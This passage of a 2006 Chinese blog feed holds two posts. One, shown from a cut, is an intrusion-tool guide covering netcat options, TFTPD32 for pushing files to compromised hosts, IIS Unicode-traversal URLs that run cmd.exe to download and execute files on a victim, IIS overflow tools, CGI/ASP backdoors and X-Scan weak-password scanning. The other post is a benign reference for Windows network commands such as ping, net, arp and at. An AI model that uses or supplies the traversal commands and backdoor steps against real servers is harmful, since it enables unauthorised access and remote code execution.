/>一个很好的工具，一些脚本程序都要用到它，也可做溢出后的连接用。 <br /><br />想要连接到某处: nc [-options] hostname port[s] [ports] ... <br /><br />绑定端口等待连接: nc -l -p port [-options] [hostname] [port] <br /><br />参数: <br /><br />-e prog 程序重定向，一旦连接，就执行 [危险!!] <br /><br />-g gateway source-routing hop point[s], up to 8 <br /><br />-G num source-routing pointer: 4, 8, 12, ... <br /><br />-h 帮助信息 <br /><br />-i secs 延时的间隔 <br /><br />-l 监听模式，用于入站连接 <br /><br />-n 指定数字的IP地址，不能用hostname <br /><br />-o file 记录16进制的传输 <br /><br />-p port 本地端口号 <br /><br />-r 任意指定本地及远程端口 <br /><br />-s addr 本地源地址 <br /><br />-u UDP模式 <br /><br />-v 详细输出——用两个-v可得到更详细的内容 <br /><br />-w secs timeout的时间 <br /><br />-z 将输入输出关掉——用于扫描时 <br /><br />八、TFTPD32.EXE <br /><br />把自己的电脑临时变为一台FTP服务器，让肉鸡来下载文件，tftp命令要在肉鸡上执行，通常要利用Unicode漏洞或telnet到肉鸡，例如： <br /><br />http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:\winnt\system32\文件名 <br /><br />然后可以直接令文件运行： <br /><br />http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名 <br /><br />九、prihack.exe是IIS的printer远程缓冲区溢出工具。idqover.exe是溢出idq的，选择“溢出后在一个端口监听”，然后用telnet连接它的监听端口，如果溢出成功，一连它的端口，绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出，成功以后winxp下需要打winxp。 <br /><br />一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor，exe要放到cgi-bin目录下，asp放到有ASP执行权限的目录。然后用IE浏览器连接。 <br /><br />一、一 Xscan命令行运行参数说明： <br /><br />在检测过程中，按"[空格]"键可以查看各线程状态及扫描进度，按"q"键保存当前数据后提前退出程序，按"&lt;ctrl+c&gt;"强行关闭程序。 <br /><br />1.命令格式: xscan -host &lt;起始IP&gt;[-&lt;终止IP&gt;] &lt;检测项目&gt; [其他选项] <br /><br />xscan -file &lt;主机列表文件名&gt; &lt;检测项目&gt; [其他选项] <br /><br />其中&lt;检测项目&gt; 含义如下: <br /><br />-port : 检测常用服务的端口状态(可通过\dat\config.ini文件的"PORT-SCAN-OPTIONS\PORT-LIST"项定制待检测端口列表)； <br /><br />-ftp : 检测FTP弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)； <br /><br />-ntpass : 检测NT-Server弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)； <br /><br />-cgi : 检测CGI漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)； <br /><br />-iis : 检测IIS漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)； <br /><br />[其他选项] 含义如下: <br /><br />-v: 显示详细扫描进度 <br /><br />-p: 跳过Ping不通的主机 <br /><br />-o: 跳过没有检测到开放端口的主机 <br /><br />-t &lt;并发线程数量[,并发主机数量]&gt;: 指定最大并发线程数量和并发主机数量, 默认数量为100,10</span>
										</div>
								</td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/20730.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2006-12-18 11:12 <a href="http://www.cnitblog.com/szdlinxie/archive/2006/12/18/20730.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>网络最经典命令行</title><link>http://www.cnitblog.com/szdlinxie/archive/2006/12/18/20728.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Mon, 18 Dec 2006 03:02:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2006/12/18/20728.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/20728.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2006/12/18/20728.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/20728.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/20728.html</trackback:ping><description><![CDATA[
		<div class="daxiao14" align="left">
				<div>
						<strong>1.最基本，最常用的，测试物理网络的 </strong>
				</div>
				<div>　　ping 192.168.0.8 －t ，参数－t是等待用户去中断测试 </div>
				<div>
						<strong>2.查看DNS、IP、Mac等 </strong>
				</div>
				<div>　　A.Win98：winipcfg </div>
				<div>　　B.Win2000以上：Ipconfig/all </div>
				<div>　　C.NSLOOKUP：如查看河北的DNS </div>
				<div>　　C:\&gt;nslookup </div>
				<div>　　Default Server: ns.hesjptt.net.cn </div>
				<div>　　Address: 202.99.160.68 </div>
				<div>　　&gt;server 202.99.41.2 则将DNS改为了41.2 </div>
				<div>　　&gt; pop.pcpop.com </div>
				<div>　　Server: ns.hesjptt.net.cn </div>
				<div>　　Address: 202.99.160.68 </div>
				<div>　　Non-authoritative answer: </div>
				<div>　　Name: pop.pcpop.com </div>
				<div>　　Address: 202.99.160.212 </div>
				<div>
						<strong>3.网络信使 </strong>
				</div>
				<div>　　Net send 计算机名/IP　* (广播) 传送内容，注意不能跨网段 </div>
				<div>　　net stop messenger 停止信使服务，也可以在面板－服务修改 </div>
				<div>　　net start messenger 开始信使服务 </div>
				<div>
						<strong>4.探测对方对方计算机名，所在的组、域及当前用户名 （追捕的工作原理）</strong>
				</div>
				<div>　　ping －a IP －t ，只显示NetBios名 </div>
				<div>　　nbtstat -a 192.168.10.146 比较全的 </div>
				<div>
						<strong>5.netstat -a 显示出你的计算机当前所开放的所有端口 </strong>
				</div>
				<div>　　netstat -s -e 比较详细的显示你的网络资料，包括TCP、UDP、ICMP 和 IP的统计等 </div>
				<div>
						<strong>6.探测arp绑定（动态和静态）列表，显示所有连接了我的计算机，显示对方IP和MAC地址</strong>
				</div>
				<div>　　arp -a </div>
				<div>
						<strong>7.在代理服务器端</strong>
				</div>
				<div>　　捆绑IP和MAC地址，解决局域网内盗用IP！： </div>
				<div>　　ARP －s 192.168.10.59 00 －50－ff－6c－08－75 </div>
				<div>　　解除网卡的IP与MAC地址的绑定： </div>
				<div>　　arp -d 网卡IP </div>
				<div>
						<strong>8.在网络邻居上隐藏你的计算机</strong>
				</div>
				<div>　　net config server /hidden:yes </div>
				<div>　　net config server /hidden:no 则为开启 </div>
				<div>
						<strong>9.几个net命令</strong>
				</div>
				<div>　　A.显示当前工作组服务器列表 net view，当不带选项使用本命令时，它就会显示当前域或网络上的计算机上的列表。 </div>
				<div>　　比如：查看这个IP上的共享资源，就可以 </div>
				<div>　　C:\&gt;net view 192.168.10.8 </div>
				<div>　　在 192.168.10.8 的共享资源 </div>
				<div>　　资源共享名 类型 用途 注释 </div>
				<div>　　-------------------------------------- </div>
				<div>　　网站服务 Disk </div>
				<div>　　命令成功完成。 </div>
				<div>　　B.查看计算机上的用户帐号列表 net user </div>
				<div>　　C.查看网络链接 net use </div>
				<div>　　例如：net use z: \192.168.10.8\movie 将这个IP的movie共享目录映射为本地的Z盘 </div>
				<div>　　D.记录链接 net session </div>
				<div>　　例如: C:\&gt;net session </div>
				<div>　　计算机 用户名 客户类型 打开空闲时间 </div>
				<div>　　------------------------------------------------------------------------------- </div>
				<div>　　\192.168.10.110 ROME Windows 2000 2195 0 00:03:12 </div>
				<div>　　\192.168.10.51 ROME Windows 2000 2195 0 00:00:39 </div>
				<div>　　命令成功完成。 </div>
				<div>
						<strong>10.路由跟踪命令</strong>
				</div>
				<div>　　A.tracert pop.pcpop.com </div>
				<div>　　B.pathping pop.pcpop.com 除了显示路由外，还提供325S的分析，计算丢失包的％ </div>
				<div>
						<strong>11.关于共享安全的几个命令</strong>
				</div>
				<div>　　A.查看你机器的共享资源 net share </div>
				<div>　　B.手工删除共享（可以编个bat文件，开机自运行，把共享都删了！） </div>
				<div>　　net share c$ /d </div>
				<div>　　net share d$ /d </div>
				<div>　　net share ipc$ /d </div>
				<div>　　net share admin$ /d </div>
				<div>　　注意$后有空格。 </div>
				<div>　　C.增加一个共享： </div>
				<div>　　c:\net share mymovie=e:\downloads\movie /users:1 </div>
				<div>　　mymovie 共享成功。 </div>
				<div>　　同时限制链接用户数为1人。 </div>
				<div>
						<strong>12.在DOS行下设置静态IP</strong>
				</div>
				<div>　　A.设置静态IP </div>
				<div>　　CMD </div>
				<div>　　netsh </div>
				<div>　　netsh&gt;int </div>
				<div>　　interface&gt;ip </div>
				<div>　　interface ip&gt;set add "本地链接" static IP地址 mask gateway </div>
				<div>　　B.查看IP设置 </div>
				<div>　　interface ip&gt;show address </div>
				<div>　　Arp </div>
				<div>　　显示和修改“地址解析协议 (ARP)”缓存中的项目。ARP 缓存中包含一个或多个表，它们用于存储 IP 地址及其经过解析的以太网或令牌环物理地址。计算机上安装的每一个以太网或令牌环网络适配器都有自己单独的表。如果在没有参数的情况下使用，则 arp 命令将显示帮助信息。 </div>
				<div>　　语法 </div>
				<div>　　arp [-a [InetAddr] [-N IfaceAddr]] [-g [InetAddr] [-N IfaceAddr]] [-d InetAddr [IfaceAddr]] [-s InetAddr EtherAddr [IfaceAddr]] </div>
				<div>　　参数 </div>
				<div>　　-a [InetAddr] [-N IfaceAddr] </div>
				<div>　　显示所有接口的当前 ARP 缓存表。要显示指定 IP 地址的 ARP 缓存项，请使用带有 InetAddr 参数的 arp -a，此处的 InetAddr 代表指定的 IP 地址。要显示指定接口的 ARP 缓存表，请使用 -N IfaceAddr 参数，此处的 IfaceAddr 代表分配给指定接口的 IP 地址。-N 参数区分大小写。 </div>
				<div>　　-g [InetAddr] [-N IfaceAddr] </div>
				<div>　　与 -a 相同。 </div>
				<div>　　-d InetAddr [IfaceAddr] </div>
				<div>　　删除指定的 IP 地址项，此处的 InetAddr 代表 IP 地址。对于指定的接口，要删除表中的某项，请使用 IfaceAddr 参数，此处的 IfaceAddr 代表分配给该接口的 IP 地址。要删除所有项，请使用星号 (*) 通配符代替 InetAddr。 </div>
				<div>　　-s InetAddr EtherAddr [IfaceAddr] </div>
				<div>　　向 ARP 缓存添加可将 IP 地址 InetAddr 解析成物理地址 EtherAddr 的静态项。要向指定接口的表添加静态 ARP 缓存项，请使用 IfaceAddr 参数，此处的 IfaceAddr 代表分配给该接口的 IP 地址。 </div>
				<div>　　 在命令提示符显示帮助。 </div>
				<div>　　注释 </div>
				<div>　　InetAddr 和 IfaceAddr 的 IP 地址用带圆点的十进制记数法表示。 </div>
				<div>　　物理地址 EtherAddr 由六个字节组成，这些字节用十六进制记数法表示并且用连字符隔开（比如，00-AA-00-4F-2 A-9C）。 </div>
				<div>　　通过 -s 参数添加的项属于静态项，它们不会 ARP 缓存中超时。如果终止 TCP/IP 协议后再启动，这些项会被删除。要创建永久的静态 ARP 缓存项，请在批处理文件中使用适当的 arp 命令并通过“计划任务程序”在启动时运行该批处理文件。 </div>
				<div>　　只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时，该命令才可用。 </div>
				<div>　　范例 </div>
				<div>　　要显示所有接口的 ARP 缓存表，可键入： </div>
				<div>　　arp -a </div>
				<div>　　对于指派的 IP 地址为 10.0.0.99 的接口，要显示其 ARP 缓存表，可键入： </div>
				<div>　　arp -a -N 10.0.0.99 </div>
				<div>　　要添加将 IP 地址 10.0.0.80 解析成物理地址 00-AA-00-4F-2 A-9C 的静态 ARP 缓存项，可键入： </div>
				<div>　　arp -s 10.0.0.80 00-AA-00-4F-2 A-9C </div>
				<div>　　At </div>
				<div>　　计划在指定时间和日期在计算机上运行命令和程序。at 命令只能在“计划”服务运行时使用。如果在没有参数的情况下使用，则 at 列出已计划的命令。 </div>
				<div>　　语法 </div>
				<div>　　at [\ComputerName] [{[ID] [/delete]　/delete [/yes]}] </div>
				<div>　　at [[\ComputerName] hours:minutes [/interactive] [{/every:date[,...]　/next:date[,...]}] command] </div>
				<div>　　参数 </div>
				<div>　　 \computername </div>
				<div>　　指定远程计算机。如果省略该参数，则 at 计划本地计算机上的命令和程序。 </div>
				<div>　　ID </div>
				<div>　　指定指派给已计划命令的识别码。 </div>
				<div>　　/delete </div>
				<div>　　取消已计划的命令。如果省略了 ID，则计算机中所有已计划的命令将被取消。 </div>
				<div>　　/yes </div>
				<div>　　删除已计划的事件时，对来自系统的所有询问都回答“是”。 </div>
				<div>　　hours:minutes </div>
				<div>　　指定命令运行的时间。该时间用 24 小时制（即从 00:00 [午夜] 到 23:59）的 小时: 分钟格式表示。 </div>
				<div>　　/interactive </div>
				<div>　　对于在运行 command 时登录的用户,允许 command 与该用户的桌面进行交互。 </div>
				<div>　　/every: </div>
				<div>　　在每个星期或月的指定日期（例如，每个星期四，或每月的第三天）运行 command 命令。 </div>
				<div>　　date </div>
				<div>　　指定运行命令的日期。可以指定一周的某日或多日（即，键入 M、T、W、Th、F、S、Su）或一个月中的某日或多日（即，键入从 1 到31 之间的数字）。用逗号分隔多个日期项。如果省略了 date，则 at 使用该月的当前日。 </div>
				<div>　　/next: </div>
				<div>　　在下一个指定日期（比如，下一个星期四）到来时运行 command。 </div>
				<div>　　command </div>
				<div>　　指定要运行的 Windows 命令、程序（.exe 或 .com 文件）或批处理程序（.bat 或 .cmd 文件）。当命令需要路径作为参数时，请使用绝对路径，也就是从驱动器号开始的整个路径。如果命令在远程计算机上，请指定服务器和共享名的通用命名协定 (UNC) 符号，而不是远程驱动器号。 </div>
				<div>　　/? </div>
				<div>　　在命令提示符显示帮助。 </div>
				<div>　　注释 </div>
				<div>　　Schtasks 是功能更为强大的超集命令行计划工具，它含有 at 命令行工具中的所有功能。对于所有的命令行计划任务，都可以使用 schtasks 来替代 at。有关 schtasks 的详细信息，请参阅“相关主题”。 </div>
				<div>　　使用 at </div>
				<div>　　使用 at 命令时，要求您必须是本地 Administrators 组的成员。</div>
		</div>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/20728.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2006-12-18 11:02 <a href="http://www.cnitblog.com/szdlinxie/archive/2006/12/18/20728.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>